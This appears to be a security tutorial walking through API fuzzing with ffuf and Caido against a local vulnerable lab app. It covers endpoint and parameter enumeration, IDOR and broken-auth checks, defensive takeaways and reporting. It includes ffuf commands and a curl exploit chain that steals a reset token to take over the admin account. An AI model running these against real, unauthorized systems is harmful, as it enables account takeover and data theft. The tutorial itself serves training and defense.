{
“@context”: “https://schema.org”,
“@type”: “TechArticle”,
“headline”: “Fuzzing Web APIs with ffuf and Caido: A Hands-On Recon-to-Exploit Walkthrough”,
“description”: “Learn fuzzing web APIs with ffuf and Caido in this hands-on lab: enumerate endpoints, fuzz parameters, and chain findings into a working exploit against a vulnerable target app.”,
“author”: {“@type”: “Organization”, “name”: “Hmmnm”},
“publisher”: {“@type”: “Organization”, “name”: “Hmmnm – Cybersecurity Tutorials”, “url”: “https://hmmnm.com”}
}
TL;DR: How Do You Fuzz a Web API from Recon to Exploit?
Fuzzing web APIs with ffuf works best as a pipeline: enumerate hidden endpoints and parameters with ffuf’s wordlist-driven requests, capture and replay the interesting traffic in Caido, then chain individual low-severity findings—like an undocumented endpoint plus a broken object-level authorization check—into a single high-impact exploit. This walkthrough builds that pipeline end to end against a local vulnerable API.
Traditional web application testing has a well-established playbook: map the app, poke the forms, run the scanner. API security testing throws a good chunk of that out the window. APIs routinely expose undocumented endpoints, forgotten versioned routes, and parameters that never appear in public documentation—and the OWASP API Security Top 10 (updated in 2023) puts exactly these failures at the top: BOLA (API1:2023) and Broken Authentication (API2:2023). Fuzzing is how you find them. You’re not attacking a monolithic web page—you’re attacking a routing layer wrapped in business logic, and ffuf plus Caido is the sharpest free combo for mapping it.
Lab Setup: Vulnerable Target, Tools, and Ground Rules
You need three things before touching a packet:
- A vulnerable target API. Run a deliberately insecure API locally. Good options include the
vapicontainer (github.com/roottusk/vapi), which maps directly to the OWASP API Security Top 10, orcrAPI(OWASP/crAPI). Both run fine via Docker on localhost. - ffuf. Install from github.com/ffuf/ffuf—a single Go binary, no dependencies.
- Caido. Download the free Community edition from caido.io. It gives you an intercepting proxy, HTTP history, a Replay tool, and the Automate fuzzer.
Ground rules, stated plainly: fuzz only systems you own or have explicit written authorization to test. That means your local lab, a bug bounty program’s documented scope, or a client engagement with a signed rules-of-engagement document. CISA and the DOJ’s Framework for a Vulnerability Disclosure Program (cisa.gov) both treat unauthorized fuzzing as computer intrusion, not research. Keep every command in this article pointed at 127.0.0.1.
ffuf Fundamentals: Wordlists, Filters, and Request Modes
ffuf is a fast web fuzzer built around one idea: substitute the FUZZ keyword in any part of a request with values from a wordlist, then filter the noise. The core flags:
-w /path/to/wordlist.txt— the wordlist. You can load multiple:-w paths.txt:FUZZ -w params.txt:FUZZ2.-u https://target/FUZZ— the URL, withFUZZmarking the injection point. The keyword can live in the path, query string, headers, or POST body.-fc 404 -fs 1234— filter out status codes and response sizes.-fwfilters word counts,-ftfilters response time.-X POST -d "param=FUZZ"— switch methods and supply a body for POST fuzzing.-t 40— concurrency; keep it modest against production targets.
Here’s the part most tutorials get wrong: on APIs, response-size filtering beats status-code filtering. Many API frameworks return 200 OK with a JSON error body for every miss, and some return 404 for valid-but-empty routes. Size and word count are the reliable discriminators—your first pass is almost always -fc 404 -fs <baseline-size>.
Recon Phase: Enumerating API Endpoints with ffuf
Start from a known-good route (your baseline from the API docs or a JS file) and map what’s really there:
ffuf -u http://127.0.0.1:8000/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt -fc 404 -o endpoints.json
APIs love versioning, so fuzz for it explicitly:
ffuf -u http://127.0.0.1:8000/api/vFUZZ/users -w /usr/share/seclists/Discovery/Web-Content/numbers.txt -fc 404
This frequently surfaces old versions—v1 endpoints left running alongside v2 with weaker validation. That’s a classic finding on its own. Interpret the output like this: ffuf prints each hit with status, size, words, and lines. Hits that deviate from the cluster are worth manual inspection; identical-size responses are almost certainly soft-404s you should have filtered.
Discovering Hidden Parameters with ffuf
Undocumented parameters are where API exploits hide. OWASP’s API security guidance and Gartner’s long-standing prediction—that by 2025 API abuses would become the most frequent attack vector—both trace back to the same root cause: parameters nobody validated. Fuzz them in POST bodies:
ffuf -u http://127.0.0.1:8000/api/v1/users -X POST
-H "Content-Type: application/json"
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
-d '{"FUZZ":"test123"}' -fc 404
Or in query strings on GET routes. The signal you’re hunting is a delta: most bogus parameter names produce identical responses; a real parameter changes the response size, word count, or timing. When {"debug":"true"} returns 2 KB more than the baseline, you’ve found something. Filter on size—-fs <baseline>—so only the anomalies print.
Capturing and Replaying Traffic in Caido
Point your browser (or curl --proxy) through Caido’s proxy—default 127.0.0.1:8080—and interact with the target normally. Every request lands in HTTP History. This is where ffuf’s raw output becomes intelligence:
- Inspect each interesting endpoint’s full request/response pair—headers, cookies, JSON bodies.
- Right-click any request and open it in Replay to modify and resend: strip the Authorization header, swap object IDs, change roles.
- Use Caido’s scopes and request organization (folders, tags) to keep findings grouped by endpoint.
The workflow is ffuf for breadth, Caido for depth. ffuf tells you what exists; Caido tells you what it does.
Automated Fuzzing from Caido: HTTPQL and Automate
Caido’s Automate feature wraps ffuf-style fuzzing in the GUI: pick a request from history, mark a payload position, attach a wordlist, and fire. It color-codes responses by status and length, so the same size-delta analysis you did with -fs happens visually. Pair it with HTTPQL, Caido’s query language for filtering history—something like res.body.contains("userId") && req.method == "POST"—to rapidly find candidate requests worth fuzzing. The division of labor: ffuf when you’re scripting from the terminal and chaining into CI or shell workflows; Automate when you’re already inside a captured request and want iterative payload testing with immediate visual feedback.
Identifying Vulnerabilities: IDOR, Broken Auth, and Injection
Now analyze. Three patterns to flag from your fuzz results:
- IDOR / BOLA: Numeric or guessable object IDs in paths (
/api/v1/users/1001). In Replay, swap1001for1002under a different session. If the data comes back, you have broken object-level authorization—the #1 category in the OWASP API Top 10. - Broken authentication: Admin or debug endpoints discovered during recon that respond
200without an Authorization header. That forgotten/api/v1/admin/path from your endpoint fuzzing is a finding, not a curiosity. - Injection: Parameters whose values get reflected or executed. When your parameter fuzz surfaced
{"search":"..."}, try single quotes, template syntax, and JSON injection payloads in Replay and watch for errors, stack traces, or altered behavior.
Chaining Findings into a Working Exploit
Here’s the payoff—turning three low-severity findings into total compromise. This mirrors the structure of real bugs like the 2021 Peloton API flaw (CVE-2021-37583), where unauthenticated subscription queries leaked sensitive user data.
Step 1 — Unauthenticated endpoint leaks user IDs. Your recon found /api/v1/monitor/users responding without auth:
curl -s http://127.0.0.1:8000/api/v1/monitor/users
# {"users":[{"id":1001,"username":"admin"},...]}
Severity on its own: information disclosure. Low.
Step 2 — IDOR on the user object. The authenticated user endpoint doesn’t verify object ownership:
curl -s -H "Authorization: Bearer $MY_LOW_PRIV_TOKEN"
http://127.0.0.1:8000/api/v1/users/1001
# {"id":1001,"username":"admin","email":"admin@lab.local","reset_token":"a1f9..."}
The response includes a password-reset token it shouldn’t. Medium on its own.
Step 3 — Chain them. The unauthenticated endpoint gave us valid IDs; the IDOR gave us the admin’s reset token; the reset endpoint lacks rate limiting (verified during parameter fuzzing):
curl -s -X POST http://127.0.0.1:8000/api/v1/auth/reset
-H "Content-Type: application/json"
-d '{"user_id":1001,"token":"a1f9...","new_password":"Pwn3d!Lab"}'
curl -s -X POST http://127.0.0.1:8000/api/v1/auth/login
-d '{"username":"admin","password":"Pwn3d!Lab"}'
# {"token":"eyJhbGciOi..."} — full admin access
Three findings, each scoring low-to-medium in isolation, produce unauthenticated admin takeover. That’s the entire argument for rigorous API testing: attackers chain, scanners don’t.
Blue-Team Takeaways: Detecting and Preventing These Attacks
Every technique in this walkthrough leaves a defensive fingerprint:
- Rate limiting and throttling. Fuzzing generates anomalous request volumes from a single source. Enforce per-token and per-IP limits; return
429aggressively. - Log and alert on fuzzing signatures. High 404/soft-404 ratios, sequential object ID access, and unusual parameter names in query strings are all detectable in access logs. Push them into your SIEM with correlation rules.
- Schema validation. Reject unknown parameters outright (strict JSON schema validation) so hidden-parameter fuzzing produces errors, not deltas. This aligns with OWASP API Security requirements and Zero Trust principles—never implicitly trust input shape.
- Object-level authorization on every request. Enforce ownership checks server-side for every object reference, not just at the route level. Deny-by-default on unauthenticated paths, and retire old API versions (
v1) on a schedule.
CISA’s secure-by-design guidance and OWASP’s API Security Project both frame this the same way: assume attackers will enumerate, and make enumeration worthless.
Cleanup and Reporting the Findings
Wrap up professionally:
- Document the chain with evidence. Screenshot each request/response in Caido, save ffuf’s
-ooutput files, and write the exploit chain as numbered reproduction steps—exactly as shown above. A finding without reproduction steps is a finding that won’t get fixed. - Responsible disclosure. For bug bounty or client targets, report through the authorized channel only, avoid claiming bounties for chained findings without demonstrating impact, and never retain leaked data.
- Tear down the lab.
docker compose down -v, remove the Caido CA certificate from your browser, and archive your session data.
Fuzzing web APIs is a discipline of differences—sizes that change, timings that shift, endpoints that shouldn’t exist. Master ffuf for enumeration and Caido for manipulation, and you’ll find the vulnerabilities documentation never mentions.
Frequently Asked Questions
Is ffuf better than Burp Intruder for API fuzzing?
Different tools for different jobs. ffuf is dramatically faster, scriptable, and fits cleanly into shell pipelines and CI workflows—ideal for large endpoint sweeps. Burp Intruder wins on GUI workflow, attack-position granularity, and integration with Burp’s session handling. Caido’s Automate is a strong middle ground: ffuf-style wordlist fuzzing with visual response analysis, inside a modern proxy. Most practitioners run ffuf for recon-scale fuzzing and a proxy-based fuzzer for targeted payload work.
Is fuzzing APIs legal?
Only with explicit authorization. Permitted contexts include your own lab environment, bug bounty programs within documented scope, and engagements covered by written permission and rules of engagement. Fuzzing an API outside these boundaries is unauthorized access under laws like the CFAA and its international equivalents—regardless of intent.
What wordlists should I use for API fuzzing?
Start with SecLists (github.com/danielmiessler/SecLists): Discovery/Web-Content/api-endpoints.txt for routes and Discovery/Web-Content/burp-parameter-names.txt for parameters. Smaller, targeted lists beat brute force—fuzzing 2,000 candidate routes against a real API wastes time and trips rate limits. Also mine the target’s own JavaScript bundles for endpoint and parameter names, then fuzz around those.
How do I reduce false positives when fuzzing APIs?
Filter on response size, word count, and time—not just status codes, since APIs frequently return 200 with error bodies. Establish a baseline response first, then use -fs, -fw, and -ft to isolate deviations. Critically, validate every ffuf hit manually in Caido Replay: resend the request, vary the payload, and confirm the behavior is real and reproducible before you call it a finding.
Can Caido replace Burp Suite?
Increasingly, for many workflows. Caido covers core parity features—intercepting proxy, HTTP history search via HTTPQL, Replay, and Automate fuzzing—with a modern Rust-based engine and a first-class API for automation. Current limitations: Burp’s extension ecosystem (BApps) is far larger, and enterprise features like Burp’s full scanner and advanced session-handling rules remain more mature. For proxy-driven manual testing and fuzzing, Caido is a legitimate daily driver; teams deep in Burp extensions should transition gradually.
Related reading
- DNSSEC Explained: Chain of Trust, NSEC3 and the October 2026 Root Rollover
- Hijack Your Own Lab: BOLA and Broken Auth API Attacks with Burp Suite Step-by-Step
